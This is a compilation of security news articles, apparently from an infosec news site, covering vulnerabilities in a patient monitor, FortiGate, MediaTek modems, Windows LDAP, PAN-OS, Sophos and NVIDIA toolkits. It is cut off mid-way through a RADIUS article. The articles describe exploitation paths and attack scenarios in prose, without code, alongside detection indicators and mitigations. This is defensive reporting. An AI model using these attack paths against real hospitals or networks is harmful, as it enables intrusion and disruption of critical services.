This vulnerability allows remote attackers to gain unauthorized access, modify patient data, and disrupt device functionality—posing a severe cybersecurity threat to hospitals and medical institutions. If exploited, the flaw could enable an attacker to manipulate real-time vital sign monitoring, potentially leading to fatal medical errors or ransomware-style device takeovers.

Technical Analysis of the Vulnerability

The vulnerabilities, tracked under CVE-2025-0626,CVE-2025-0626 and CVE-2025-0683, enable attackers to execute arbitrary commands on the device.

Breakdown of the Exploit Path

The Contec CMS8000 patient monitor firmware contains hardcoded credentials and an undocumented remote access protocol, which serve as a backdoor into the system. This backdoor allows an attacker to:

1. Authenticate remotely without proper credentials, using a weak or publicly known factory-set username and password.
2. Access a command-line interface (CLI) over an open network port, allowing direct system manipulation.
3. Overwrite system files, modify patient telemetry data, and even disable alarms and notifications.

Key Technical Issues Enabling Exploitation

1. Hardcoded Administrative Credentials
   • The firmware contains static, factory-set credentials that cannot be changed by hospital IT staff.
   • Attackers can easily retrieve these credentials from firmware dumps or leaked documentation.
   • Once obtained, these credentials allow full device control over Telnet or SSH.
2. Exposed Network Services
   • The CMS8000 runs multiple unnecessary services on open ports:
     • Telnet (Port 23) – Legacy unencrypted command-line access.
     • HTTP (Port 80) – Web interface without proper authentication mechanisms.
     • TFTP (Port 69) – Allows remote firmware updates without validation.
   • These services lack proper access control, enabling remote manipulation.
3. Arbitrary Code Execution
   • Due to a lack of input validation, an attacker can inject malicious commands via network-based API calls.
   • This can be leveraged to deploy malware, install a persistent backdoor, or modify the firmware.
4. File System Modification and Log Manipulation
   • Attackers can overwrite core system files and alter log data, making it difficult for administrators to detect malicious activity.

Potential Exploitation Scenarios

Given the vulnerability’s severity, several exploitation scenarios exist:

1. Remote Device Takeover

• An attacker scans the network for vulnerable CMS8000 monitors using Shodan or Nmap.
• They identify an active device running the affected firmware version.
• Using leaked hardcoded credentials, they gain remote CLI access over Telnet or SSH.
• The attacker executes commands to disable monitoring functions, shut down alerts, or falsify patient readings.

2. Ransomware Attack Targeting Medical Devices

• A threat actor deploys a custom script via the backdoor, encrypting all patient records stored on the device.
• The monitor’s display is replaced with a ransom note, demanding payment in cryptocurrency to restore normal functionality.
• Because the device is integral to patient care, hospitals may feel pressured to pay the ransom to restore operations quickly.

3. Man-in-the-Middle (MitM) Attack on Patient Data

• An attacker positions themselves on the same network segment as the medical monitors.
• Using ARP spoofing, they intercept real-time telemetry data sent from the CMS8000 to hospital monitoring stations.
• They modify patient data in transit, causing medical professionals to make incorrect treatment decisions.

4. Attack on Healthcare IoT Infrastructure

• Since many hospitals run unsegmented internal networks, compromising the CMS8000 can act as a pivot point for lateral movement.
• Attackers could escalate privileges to access hospital record systems, imaging devices, and even electronic health records (EHRs).

Mitigation Strategies

1. Immediate Steps for Healthcare Organizations

CISA and the FDA strongly urge hospitals and IT administrators to take the following actions immediately to protect against potential exploits:

Apply the Latest Firmware Updates

• If a security patch is available from Contec, it must be applied immediately.
• Devices that cannot be updated should be segmented from the network.

Disable Unused Network Services

• Telnet and TFTP should be disabled where possible.
• Restrict SSH access to only trusted internal IP addresses.

Implement Network Segmentation

• Healthcare institutions should place patient monitoring devices on a dedicated VLAN with strict firewall rules.
• Blocking public access to CMS8000 monitors is essential to prevent remote exploitation.

Change Default Credentials (If Possible)

• If the firmware allows it, administrators should change factory-set usernames and passwords.
• Deploy multi-factor authentication (MFA) for remote access.

Continuous Monitoring & Threat Detection

• IT teams should deploy intrusion detection systems (IDS) to monitor for suspicious activity on medical device networks.
• Regular penetration testing should be conducted to assess security posture.

The Larger Cybersecurity Challenge in Healthcare

The CMS8000 vulnerability is just one example of a larger systemic issue within the healthcare industry:
Many legacy medical devices were not designed with cybersecurity in mind.

Broader Industry Risks Include:

• Medical IoT (IoMT) Devices Lacking Updates
  • Many medical devices are still running outdated operating systems (e.g., Windows XP, Windows 7).
• High-Value Targets for Cybercriminals
  • Hospitals store highly sensitive patient data, making them attractive targets for ransomware and espionage.
• Regulatory Compliance Challenges
  • Many institutions struggle to balance HIPAA compliance with modern cybersecurity best practices.

The cybersecurity of medical devices must become a higher priority for manufacturers, regulators, and healthcare providers. Moving forward, medical device manufacturers must adopt “Security by Design” principles, ensuring that future devices:

• Require firmware authentication
• Disallow hardcoded credentials
• Enforce encrypted communications by default

Until these security issues are addressed at the design level, hospitals must take proactive steps to secure vulnerable devices and prevent catastrophic cyberattacks.

Final Thoughts

The discovery of a critical backdoor in the Contec CMS8000 is a wake-up call for the healthcare industry. This incident highlights the inherent risks in unpatched, insecure medical devices and the potential life-threatening consequences of cyber vulnerabilities in healthcare infrastructure.

Key Takeaways for Cybersecurity Experts & Healthcare IT Teams:

Assess and patch all network-connected medical devices.
Implement strict access controls and disable unnecessary network services.
Enforce continuous monitoring of hospital IoT networks.
Pressure vendors to release security updates and adopt stronger cybersecurity measures.

Cyberattacks on medical devices are no longer hypothetical—they are happening now. As healthcare increasingly relies on digital technology, securing these critical systems is a matter of life and death.

The post Hackers Can Manipulate Your Heart Rate Monitor – Unbelievable Security Flaw! appeared first on Information Security Newspaper | Hacking News.

Campaign Analysis

The attack unfolded in four distinct phases:

1. Vulnerability Scanning (November 16–23, 2024): Threat actors initiated widespread scans to identify vulnerable devices. They used spoofed IP addresses, including loopback addresses and public DNS resolvers, to access administrative functionalities via the jsconsole interface.
2. Reconnaissance (November 22–27, 2024): After identifying vulnerable devices, the attackers made minor system console changes to validate their access. These modifications, such as toggling the system output settings between “more” and “standard,” indicated attempts to test their control over the CLI interface.
3. SSL VPN Configuration (December 4–7, 2024): Threat actors established persistence by creating super admin accounts and configuring SSL VPN portals. In many cases, they hijacked existing user accounts, including the default “guest” account, to maintain access. New VPN portals were assigned non-standard ports such as 4433, 59449, and others to evade detection.
4. Lateral Movement (December 16–27, 2024): Using domain admin credentials obtained via DCSync, the attackers performed credential dumping and began lateral movement within compromised environments. Evidence pointed to the use of tools such as workstations with kali identifiers to facilitate these activities.

Technical Observations

Anomalous jsconsole Activity:

• Administrative logins were observed from spoofed IP addresses, such as:
  • 127.0.0.1 (loopback)
  • 8.8.8.8 and 8.8.4.4 (Google DNS)
  • 1.1.1.1 and 2.2.2.2 (Cloudflare DNS)

Web Management HTTPS Traffic:

• Unusual HTTPS sessions originated from IPs associated with VPS providers. Key indicators included:
  • Data transfers exceeding 1MB.
  • Session durations of over 100 seconds.
  • Connections terminated by RST packets initiated from the client side.

SSL VPN Modifications:

• New super admin accounts were created, often using random alphanumeric names.
• Existing accounts were hijacked and repurposed for VPN access.
• Custom VPN portals with non-standard ports were configured, ensuring persistent access.

Timeline of Activity:

• Firmware versions 7.0.14 to 7.0.16 were exploited.
• Initial activity began in November 2024, with significant malicious configuration changes observed in December 2024.

Tactics, Techniques, and Procedures (TTPs)

Initial Access:

• Exploitation of public-facing management interfaces (T1190), potentially involving a zero-day vulnerability.

Persistence:

• Creation of local admin accounts (T1136.001).
• Modification of SSL VPN configurations (T1133).
• Hijacking of default accounts (T1078.001).

Credential Access:

• Credential dumping via DCSync (T1003.006).

Defense Evasion:

• Modification of system console configurations to obscure activity (T1562).

Lateral Movement:

• Exploitation of remote services using compromised credentials (T1210).

Detection Opportunities

To mitigate risks, organizations should monitor for the following indicators:

• jsconsole Activity:
  • Administrative logins originating from unusual IP addresses, such as loopback or public DNS resolvers.
• Web Management Traffic:
  • HTTPS sessions exceeding 1MB originating from VPS provider IPs.
  • Sessions with durations over 100 seconds.
• SSL VPN Modifications:
  • New VPN portals configured on non-standard ports (e.g., 4433).
  • Suspicious logins from unfamiliar IP addresses.
• Credential Dumping and Lateral Movement:
  • Detection of DCSync activities and unauthorized Active Directory replication events.

Remediation Recommendations

Secure Management Interfaces:

• Restrict access to management interfaces using IP allowlists or VPN-only access.
• Disable web-based CLI access unless absolutely necessary.
• Enforce multi-factor authentication (MFA) for administrative logins.

Patch and Update Firmware:

• Apply the latest firmware updates to FortiGate devices.
• Monitor vendor advisories for emerging vulnerabilities and patches.

Enhance Monitoring and Logging:

• Implement intrusion detection/prevention systems (IDS/IPS).
• Set up logging and alerts for unusual jsconsole and VPN activity.

Incident Response Preparedness:

• Remove unauthorized accounts and reset credentials on compromised systems.
• Conduct thorough log reviews to identify additional indicators of compromise.

Educate and Train Personnel:

• Train IT staff on the secure configuration of FortiGate firewalls.
• Maintain awareness of emerging threats and vulnerability disclosures.

Conclusion

This campaign underscores the persistent risk posed by public-facing management interfaces and the importance of proactive cybersecurity measures. Organizations using Fortinet FortiGate firewalls are strongly advised to implement the recommended remediation steps and continuously monitor their systems for anomalous activity. Arctic Wolf Labs remains committed to providing timely updates and insights as more information becomes available.

For further technical details and IoCs, refer to the comprehensive indicators outlined by Arctic Wolf Labs.

The post FortiGate Firewalls Zero-Day Chaos: How Hackers Are Gaining Control of Firewalls Worldwide – Is Your Network at Risk? appeared first on Information Security Newspaper | Hacking News.

How CVE-2024-20154 Can Be Exploited

CVE-2024-20154 is a Critical Remote Code Execution (RCE) vulnerability that enables attackers to exploit devices in the following manner:

1. Exploitation Method:

• Rogue Base Station Attack:
  • The flaw can be exploited by an attacker setting up a rogue base station, which masquerades as a legitimate cellular network.
  • A victim’s device (referred to as User Equipment or UE) unknowingly connects to this rogue base station.
  • Once the connection is established, the rogue station exploits the stack overflow vulnerability in the device’s modem firmware.
• No User Interaction Needed:
  • This exploit does not require any action by the user, such as clicking a link or installing an application. The victim only needs to be within range of the rogue base station.
• No Elevated Privileges Needed:
  • The attacker does not need elevated privileges to exploit the flaw. The vulnerability exists at the firmware level, giving attackers the ability to bypass security protections in higher layers of the system.

2. Steps an Attacker Might Use:

1. Set Up Rogue Base Station:
   • Attackers configure a fake cellular tower using specialized software and hardware, which can be set up with easily accessible tools.
   • The rogue base station advertises itself as a legitimate cellular provider, tricking nearby devices into connecting to it.
2. Trigger Stack Overflow:
   • Once the device connects, the rogue base station sends malformed network packets designed to exploit the stack overflow vulnerability in the modem firmware.
3. Inject Malicious Code:
   • The attacker injects arbitrary code into the device’s modem, gaining full control over the modem’s functionalities.
   • This can include modifying device communication, eavesdropping on calls and messages, or disabling network access.
4. Take Control:
   • Once control over the modem firmware is achieved, attackers can execute commands, exfiltrate data, or even propagate malware to other devices connected to the same network.

3. Potential Exploitation Scenarios:

• Eavesdropping:
  • Attackers could intercept and listen to calls, read text messages, and monitor internet traffic.
• Data Exfiltration:
  • Sensitive data such as credentials, personal information, or financial data could be stolen without the user’s knowledge.
• Device Hijacking:
  • Attackers may fully take control of the device’s modem to disrupt communication or use the device as part of a botnet.
• Propagation of Malware:
  • Compromised devices could be used to distribute malware to other devices connected to the same rogue base station or network.

Why This Exploit is Dangerous:

• Broad Attack Surface:
  • The vulnerability affects over 40 MediaTek chipset models, impacting millions of devices across smartphones, IoT devices, tablets, and even smart TVs.
• No Interaction Needed:
  • Exploits that require no user interaction are harder to detect and mitigate in real-time.
• Wide Attack Range:
  • The exploit only requires physical proximity to the victim, making it feasible for attackers to target devices in crowded areas like airports, malls, or stadiums.

Additional Vulnerabilities Addressed

MediaTek’s bulletin also addressed other vulnerabilities, categorized as high severity:

• Power Management:
  • CVE-2024-20140: An out-of-bounds write issue that could lead to local privilege escalation.
• Digital Audio Subsystem:
  • CVE-2024-20143, CVE-2024-20144, CVE-2024-20145: These flaws may allow unauthorized access to sensitive data or system functions.
• WLAN Driver:
  • CVE-2024-20146, CVE-2024-20148: Vulnerabilities leading to remote code execution.
• M4U Subsystem:
  • CVE-2024-20105: An out-of-bounds write issue enabling local privilege escalation.

Mitigation

MediaTek has:

• Notified OEMs: Device manufacturers have been informed of these vulnerabilities.
• Released Security Patches: Updates have been provided to address these flaws.

Recommendations for Users

1. Check for Updates:
   • Ensure that your device’s firmware and software are updated to the latest version.
2. Patch Immediately:
   • Apply security patches released by the manufacturer to mitigate these risks.
3. Avoid Untrusted Networks:
   • Be cautious about connecting to unknown or suspicious cellular networks.
4. Security Monitoring:
   • Use network monitoring tools or mobile device management solutions to detect abnormal device behavior.

CVE-2024-20154 highlights the importance of securing chipset firmware and deploying timely patches. The broad attack surface, combined with the ease of exploitation, makes this vulnerability especially dangerous. Users and manufacturers must act swiftly to secure devices and prevent potential exploitation.

The post How Hackers Can Hijack Your Device Without You Knowing – MediaTek’s RCE Flaw Explained appeared first on Information Security Newspaper | Hacking News.

Technical Summary of CVE-2024-49113

The LDAPNightmare vulnerability exploits a flaw in Connectionless Lightweight Directory Access Protocol (CLDAP) responses processed by LSASS. CLDAP, a UDP-based implementation of LDAP, is frequently used for lightweight directory queries in Active Directory environments. Attackers can send maliciously crafted CLDAP packets that overwhelm the LSASS process, resulting in a denial-of-service (DoS) condition.

Why This Matters:

1. LSASS is a critical system process responsible for enforcing security policies, validating user credentials, and handling directory service operations.
2. The exploit does not require authentication, making it a high-risk vulnerability for organizations with publicly exposed or misconfigured domain controllers.

Detailed Exploit Workflow

The LDAPNightmare exploit operates in the following sequence:

1. Discovery of Target System:
   • The attacker identifies a Windows domain controller with an open CLDAP service, often through network scanning or reconnaissance tools.
2. Crafting Malicious CLDAP Packets:
   • The attacker creates custom CLDAP packets designed to exploit the parsing vulnerability in LSASS. These packets contain invalid or oversized data that LSASS cannot handle properly.
3. Delivery of Malicious Payload:
   • The crafted CLDAP packets are sent to the target system over UDP.
   • Since CLDAP operates on UDP and does not establish a connection, there is no handshake, making it difficult to block these packets at the network level without advanced filtering.
4. Exploitation of LSASS:
   • Upon receiving the malicious packets, LSASS attempts to process the invalid CLDAP response.
   • The flaw in the CLDAP handling code causes LSASS to crash, triggering a Windows system reboot to recover the service.
5. Resultant Impact:
   • The crash disrupts all Active Directory services running on the domain controller, including authentication, authorization, and directory queries.
   • Depending on the environment, this can lead to cascading failures across the network.

Implications for Enterprise Security

1. Enterprise-Scale Disruption:
   • Domain controllers are the backbone of enterprise networks, managing critical services such as authentication and policy enforcement. Disruption to these services can paralyze business operations.
2. Accessibility to Attackers:
   • The PoC exploit requires no authentication, significantly lowering the barrier for exploitation. This increases the risk for organizations with publicly accessible domain controllers or insufficient network segmentation.
3. Risk of Amplified Attacks:
   • While the exploit currently focuses on DoS attacks, researchers warn that similar vulnerabilities could be used for more advanced attacks, such as data exfiltration or privilege escalation.

Mitigation Strategies

1. Immediate Actions:
   • Apply Security Patches: Microsoft has released patches for CVE-2024-49113. Organizations should prioritize patching all affected systems, particularly domain controllers and servers running Windows Server.
   • Disable CLDAP: If not essential, disable CLDAP on domain controllers to eliminate this attack vector.
2. Network-Level Defenses:
   • Filter CLDAP Traffic: Use firewalls or intrusion prevention systems (IPS) to monitor and block abnormal CLDAP traffic. Implement deep packet inspection to identify malformed packets.
   • Restrict Domain Controller Access: Limit access to domain controllers to trusted networks using strict access control lists (ACLs) and network segmentation.
3. Enhanced Monitoring:
   • Deploy security information and event management (SIEM) tools to detect LSASS crashes and unusual CLDAP traffic.
   • Regularly review system logs for indicators of compromise (IoC), such as repeated LSASS restarts or unexpected network activity.
4. Long-Term Measures:
   • Zero Trust Architecture: Implement a zero trust model to ensure that access to domain controllers is tightly controlled and continuously verified.
   • Security Training: Educate IT and security teams on identifying and responding to emerging threats like LDAPNightmare.

Key Insights for the Cybersecurity Community

1. LSASS and CLDAP Vulnerabilities:
   • This exploit highlights the critical role of LSASS and CLDAP in enterprise security. Protecting these components requires a comprehensive approach, including patch management, traffic monitoring, and access restrictions.
2. The Danger of UDP-Based Attacks:
   • UDP services like CLDAP lack built-in connection verification, making them particularly vulnerable to exploitation. This underscores the need for advanced filtering and monitoring mechanisms.
3. Future Threat Landscape:
   • The simplicity of this exploit’s methodology suggests that similar vulnerabilities could be discovered and weaponized. Proactive vulnerability assessments and penetration testing are essential to staying ahead of attackers.

The LDAPNightmare exploit (CVE-2024-49113) serves as a stark reminder of the importance of proactive cybersecurity practices. With its ability to crash domain controllers and disrupt critical services, this vulnerability underscores the need for robust defenses and rapid response capabilities. Organizations must adopt a multi-layered security approach, combining immediate patching, traffic filtering, and long-term architectural improvements to mitigate risks effectively.

As the cybersecurity landscape evolves, the community must remain vigilant in identifying and addressing vulnerabilities that threaten the foundational systems of enterprise networks. By taking decisive action, organizations can reduce their exposure and maintain resilience against sophisticated attacks.

The post Hacking Active Directory: Learn How LDAPNightmare Flaw Shuts Down AD Services appeared first on Information Security Newspaper | Hacking News.

The flaw stems from a weakness in how PAN-OS processes specific types of network traffic, making it susceptible to attacks that could lead to service disruptions. This vulnerability highlights the importance of proactive vulnerability management and timely patching for organizations in the modern threat landscape.

Details of CVE-2024-3393

• Vulnerability Type: Denial-of-Service (DoS).
• Affected Product: PAN-OS (core operating system for Palo Alto Networks appliances).
• Exploitation Prerequisite: No authentication required, making it exploitable remotely.
• Severity Level: Critical (CVSS 8.7).
• Potential Impact:
  • Crash or service failure of affected devices.
  • Loss of functionality for critical network firewalls.
  • Potential disruption of key services and business operations.

This vulnerability can have a widespread impact, particularly for enterprises relying on PAN-OS appliances for maintaining secure and resilient network environments.

Who Is at Risk?

Organizations running unpatched versions of PAN-OS are at immediate risk. Palo Alto Networks has published a detailed list of affected versions, urging administrators to cross-check their systems and implement the patches as soon as possible.

The vulnerability has been assessed to impact any deployment where PAN-OS is utilized, particularly in environments exposed to external or untrusted network traffic. These include:

• Enterprises utilizing Palo Alto firewalls for perimeter defense.
• Cloud-based architectures relying on PAN-OS for virtualized network security.
• Data centers where high availability of firewalls is critical.

Recommended Actions for Security Teams

Palo Alto Networks has responded swiftly to the discovery of CVE-2024-3393 by providing patches. To secure infrastructure and minimize risk, security teams are advised to follow these steps:

1. Apply Patches Immediately:
   • Download and install the latest PAN-OS updates released by Palo Alto Networks to mitigate the vulnerability completely.
   • Ensure all appliances, including backups and secondary systems, are updated.
2. Implement Temporary Mitigations:
   • For organizations unable to patch immediately, Palo Alto Networks recommends applying mitigation strategies such as restricting access to the management interface and configuring advanced traffic rules to detect anomalous behavior.
   • Leverage Palo Alto’s Threat Prevention services to monitor for attempts to exploit this vulnerability.
3. Enhance Network Monitoring:
   • Deploy network detection and response (NDR) solutions to identify suspicious patterns associated with DoS attacks.
   • Regularly review logs for abnormal traffic spikes or unusual activity targeting PAN-OS systems.
4. Assess Business Continuity Plans:
   • Ensure failover mechanisms and redundancy are in place to maintain network connectivity in case of service disruption.
   • Validate that response teams are prepared to address potential incidents involving firewall crashes.

Potential Consequences of Exploitation

If left unpatched, CVE-2024-3393 could allow attackers to initiate denial-of-service attacks that render Palo Alto firewalls inoperative. This could result in:

• Widespread network outages.
• Loss of access to critical enterprise resources.
• Increased vulnerability to secondary attacks due to weakened perimeter defenses.

For organizations that depend on uninterrupted network operations, such as financial institutions, healthcare providers, and cloud service providers, the potential business impact could be significant. The associated downtime could result in lost revenue, reputational damage, and heightened compliance risks.

The Broader Implications for Cybersecurity

The discovery of CVE-2024-3393 highlights several critical lessons for the cybersecurity community:

• Proactive Patch Management: In today’s rapidly evolving threat landscape, delays in applying patches can create exploitable gaps in security. Organizations must establish processes for immediate response to high-severity vulnerabilities.
• Network Resilience: This incident underscores the importance of designing networks with resiliency in mind, including failover capabilities and segmentation to limit the impact of potential disruptions.
• Threat Intelligence Integration: By utilizing advanced threat intelligence services, organizations can stay ahead of attackers by preemptively identifying and mitigating vulnerabilities.

Future Considerations

1. Automating Patch Deployment:
   • Organizations should consider adopting automated patch management tools to streamline the deployment of critical updates across their network infrastructure.
2. Zero-Trust Architectures:
   • Implement zero-trust principles to minimize the impact of potential breaches by limiting the ability of attackers to move laterally within the network.
3. Security Audits:
   • Perform routine vulnerability assessments on critical infrastructure to ensure that exploitable weaknesses are identified and addressed proactively.

Palo Alto Networks has demonstrated a proactive approach to addressing CVE-2024-3393 by releasing patches and mitigation guidance. However, the responsibility lies with organizations to ensure timely implementation. With the increasing sophistication of cyber threats, unpatched vulnerabilities like this can become a gateway for disruptive attacks that undermine operational integrity.

By maintaining robust security postures and adopting best practices such as proactive monitoring, patch management, and network segmentation, organizations can fortify themselves against threats like CVE-2024-3393. As always, collaboration within the cybersecurity community remains essential to addressing vulnerabilities swiftly and effectively.

The post PAN-OS DoS Flaw: Is Your Network at Risk? Learn How to Secure It Now! appeared first on Information Security Newspaper | Hacking News.

The Identified Vulnerabilities

The vulnerabilities have been categorized as follows:

1. CVE-2024-12727: SQL Injection Leading to Potential Remote Code Execution (RCE)
   • This pre-authentication SQL injection vulnerability is present in the email protection feature of the firewall.
   • Exploitation is possible only when Secure PDF Exchange (SPX) is enabled alongside High Availability (HA) mode. An attacker could leverage this configuration to access the reporting database and potentially execute arbitrary code remotely.
   • Impact: Approximately 0.05% of Sophos Firewall devices with this specific configuration are affected.
2. CVE-2024-12728: Predictable SSH Passphrase Vulnerability
   • The HA cluster initialization process generates a non-random SSH passphrase, which remains active after setup completion. If exploited, this could allow attackers unauthorized SSH access, provided the service is enabled on the firewall.
   • Impact: This flaw affects an estimated 0.5% of devices, particularly those where the default SSH settings have not been modified.
3. CVE-2024-12729: Code Injection in User Portal
   • This vulnerability allows authenticated users with valid credentials to execute arbitrary code remotely via a flaw in the User Portal. Such exploitation could result in privilege escalation or further attacks on the device.
   • Impact: This vulnerability underscores the importance of access management for privileged systems.

Fixes and Security Updates

Sophos has been quick to respond to these vulnerabilities, issuing automatic hotfixes to affected systems and embedding permanent fixes in newer firmware releases. These updates include:

• Hotfixes: Delivered automatically between late November and December 2024 for all supported versions of Sophos Firewall.
• Permanent Fixes: Incorporated in firmware version 21 MR1 and later releases. Administrators are encouraged to update their systems to the latest firmware to ensure long-term protection.

Recommended Workarounds and Mitigation Strategies

In addition to the updates, Sophos has recommended several best practices for mitigating risks associated with these vulnerabilities:

1. For CVE-2024-12728:
   • Restrict SSH access strictly to the dedicated HA link, ensuring it is physically segregated from other network traffic.
   • Reconfigure the HA cluster setup using a sufficiently long, random passphrase.
   • Disable SSH over the WAN interface and rely on Sophos Central or VPN solutions for remote management.
2. For CVE-2024-12729:
   • Prevent exposure of the User Portal and Webadmin interfaces to WAN traffic. These interfaces should be accessible only from trusted, internal networks.

Cybersecurity Community Implications

These vulnerabilities highlight the ongoing risks posed by misconfigurations and weaknesses in critical network infrastructure. While the number of affected devices may appear small—0.05% and 0.5% of devices for CVE-2024-12727 and CVE-2024-12728, respectively—the potential impact of exploitation is significant. Threat actors could use these flaws to gain unauthorized access to sensitive systems, escalate privileges, and disrupt operations.

Sophos’ quick response in releasing hotfixes and permanent patches demonstrates the importance of proactive vendor action in the face of emerging threats. Organizations using Sophos Firewall are strongly advised to apply the recommended updates and review their configurations to ensure optimal security.

Broader Lessons for Cybersecurity Professionals

This incident is a reminder for cybersecurity teams to adopt a proactive approach to managing vulnerabilities in network devices. Key lessons include:

1. Regular Firmware Updates: Staying up-to-date with the latest patches and fixes is critical for minimizing exposure to emerging threats.
2. Access Control: Limiting access to sensitive administrative interfaces, like the User Portal and Webadmin, significantly reduces the risk of unauthorized exploitation.
3. Configuration Hardening: Default settings and credentials should always be replaced with secure, custom configurations.

Organizations should also maintain robust monitoring practices to detect and respond to potential exploits promptly.

Call to Action for Administrators

Sophos Firewall users should take the following steps immediately:

• Ensure all devices are running the latest firmware version (21 MR1 or newer).
• Validate that the provided hotfixes have been successfully applied.
• Implement the recommended mitigations for SSH access and interface exposure.

For step-by-step guidance, administrators can refer to Sophos’ official knowledge base article KBA-000010084 for further instructions.

Final Thoughts

As cyber threats evolve, vendors and organizations must work together to address vulnerabilities swiftly and effectively. Sophos’ handling of these flaws serves as a case study in vulnerability management, emphasizing the importance of rapid patching, transparent communication, and the implementation of best practices to secure critical systems.

For cybersecurity professionals, these vulnerabilities underscore the need for vigilance, regular audits, and a commitment to adopting industry-leading security measures. In an increasingly interconnected world, proactive defense remains the best strategy for mitigating the risks posed by evolving cyber threats.

The post Don’t Get Hacked! Sophos Firewall Vulnerabilities Explained appeared first on Information Security Newspaper | Hacking News.

Background: The Tools at Risk

NVIDIA Container Toolkit:

• The NVIDIA Container Toolkit provides a set of tools to build and run GPU-accelerated Docker containers. It allows users to create containers that use NVIDIA GPUs, a crucial feature in environments where high-performance computing and AI tasks are essential.
• In AI workloads, GPUs accelerate the processing of large-scale data, making them critical for training and inference tasks in machine learning models.

GPU Operator:

• The GPU Operator simplifies the deployment and management of GPUs in Kubernetes environments. It ensures that GPU resources are available and properly configured for workloads that require them.
• This operator manages driver installation, the NVIDIA Container Toolkit, and GPU monitoring, allowing AI applications to run smoothly in cloud and on-premise environments.

Significance in AI Environments:

• Both the NVIDIA Container Toolkit and GPU Operator play pivotal roles in enabling AI workloads, especially in cloud environments where flexibility and scalability are critical. Many AI models depend on GPUs for their intensive computation, making these tools indispensable for efficient operations.
• The vulnerability found in these components represents a critical risk, as exploiting them can potentially disrupt or compromise the security of AI workloads, impacting cloud services that rely on NVIDIA-powered GPUs.

Vulnerability Overview: CVE-2024-0132

CVE-2024-0132: Critical Severity Vulnerability

• The discovered vulnerability, labeled CVE-2024-0132, affects the NVIDIA Container Toolkit and the GPU Operator. It has been classified as a critical severity vulnerability due to the potential consequences of its exploitation in AI workloads and cloud environments.
• This vulnerability poses a high risk to systems using NVIDIA GPUs, especially in cloud environments where containers are deployed at scale for AI tasks.

Affected Components

GPU Operator: As a key component managing GPU resources in Kubernetes, the vulnerability in the GPU Operator can lead to improper resource management or security compromises, affecting the stability and integrity of AI workloads.

NVIDIA Container Toolkit: This tool, which integrates NVIDIA GPU functionality into containerized environments like Docker and Kubernetes, is directly affected. Since many AI workloads depend on these containers, the vulnerability impacts a wide range of cloud-based services.

How the Vulnerability Works

• The CVE-2024-0132 vulnerability exploits a flaw in the NVIDIA Container Toolkit and GPU Operator, which are responsible for handling GPU resources in containerized AI environments.
• The vulnerability likely stems from inadequate privilege separation or input validation in the interaction between the container runtime and the underlying GPU hardware. This gap allows an attacker to execute code with elevated privileges or bypass container isolation mechanisms.
• The flaw could enable attackers to escape from the container environment, manipulate GPU workloads, or gain unauthorized access to the host system and other containers.

Exploitation Pathways in NVIDIA AI Systems

• Container Escape: Attackers could exploit the vulnerability to break out of a containerized environment, gaining access to the host system or other containers running on the same node. This opens up further exploitation opportunities, such as lateral movement across the system or network.
• Privilege Escalation: By exploiting weaknesses in how the NVIDIA Container Toolkit or GPU Operator manages GPU resources, attackers can gain elevated privileges. This could allow them to take control of the GPU, modify workloads, or even compromise the host system.
• Resource Manipulation: Attackers can misuse the vulnerability to interfere with GPU resources, which could disrupt AI workloads or introduce malicious computations. This could lead to degraded performance, incorrect AI results, or complete service failures.

Potential Attack Scenarios

Denial of Service (DoS): The vulnerability could also be exploited to overwhelm the GPU resources, leading to a denial-of-service condition where AI workloads fail to execute due to lack of resources or intentional crashes.

Cloud AI Environments: In a cloud environment where multiple tenants share the same GPU resources, an attacker could compromise the entire system by breaking out of their own container and accessing GPUs used by other tenants.

AI Model Tampering: Once inside, an attacker could manipulate data processed by the GPU, potentially altering machine learning models during training or inference stages. This could lead to faulty AI predictions, affecting applications in sectors like healthcare, finance, or autonomous vehicles.

Scope of the Vulnerability in Cloud Environments

The impact of this vulnerability is widespread. Over 35% of cloud environments that use NVIDIA GPUs for AI workloads are believed to be at risk. Cloud providers such as Amazon Web Services (AWS), Google Cloud, and Microsoft Azure are directly affected, given their extensive use of NVIDIA GPUs to support AI services.

The flaw’s potential for exploitation is particularly concerning in multi-tenant cloud environments where different customers share the same infrastructure. In these environments, an attacker who successfully exploits the vulnerability could access resources beyond their own container, posing a risk to other users’ workloads and data. This could lead to data breaches, model tampering, or denial-of-service (DoS) attacks.

Moreover, industries that depend heavily on cloud-based AI, such as autonomous vehicles, healthcare, financial services, and media production, are vulnerable. The loss of integrity in AI models due to this vulnerability could have severe consequences, ranging from financial loss to life-threatening situations in fields like medical diagnostics and autonomous driving.

Mitigation Strategies: Protecting AI Workloads

To address the CVE-2024-0132 vulnerability, NVIDIA has issued security patches. Organizations are urged to update their NVIDIA Container Toolkit and GPU Operator to the latest versions to mitigate the risk of exploitation. Additionally, several other mitigation strategies can help secure vulnerable environments:

1. Apply Security Patches: Ensuring that all affected components, including the NVIDIA Container Toolkit and GPU Operator, are updated with the latest patches is the first line of defense.
2. Update Container Runtime and Kubernetes Components: Organizations should also update container runtimes like Docker and Kubernetes to ensure there are no other vulnerabilities in the overall infrastructure.
3. Enforce Principle of Least Privilege (PoLP): Reducing unnecessary privileges for containers running with GPU access can limit the scope of attacks. Limiting root access and disabling unused capabilities can prevent privilege escalation.
4. Implement Runtime Security Tools: Tools like Falco and Sysdig can monitor containers at runtime, detecting suspicious behavior such as container escapes or unauthorized GPU usage. These tools can provide early warning of potential attacks.
5. Use Network Segmentation and Isolation: In multi-tenant cloud environments, segmenting networks and applying strict access control policies can help prevent lateral movement across containers. Limiting communication between containers and nodes can reduce the risk of cross-container attacks.

By following these mitigation strategies, organizations can secure their cloud-based AI workloads and prevent attackers from exploiting the NVIDIA vulnerability.

The discovery of the CVE-2024-0132 vulnerability underscores the critical need for heightened security in cloud-based AI environments. With more than 35% of cloud environments potentially affected, it is vital for organizations to take immediate action by applying patches, enhancing security measures, and monitoring AI workloads for suspicious activity.

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Understanding RADIUS

RADIUS is a networking protocol that provides centralized authentication, authorization, and accounting (AAA) management for users who connect and use a network service. It is widely used in various applications, including internet service providers, corporate networks, and wireless networks.

The Vulnerability: CVE-2024-3596

The vulnerability, identified as CVE-2024-3596, leverages an inherent flaw in the RADIUS protocol’s MD5 Response Authenticator. This design flaw allows attackers to perform an MD5 collision attack, manipulating the integrity checks and forging authentication messages.

How the Blast-RADIUS Attack Works

The Blast-RADIUS attack exploits a critical flaw in the RADIUS (Remote Authentication Dial-In User Service) protocol, which has been widely used for network authentication since 1991. This vulnerability allows attackers to perform a man-in-the-middle (MitM) attack and gain unauthorized access by forging authentication responses. Here’s a detailed look at how this attack works:

Key Components of RADIUS

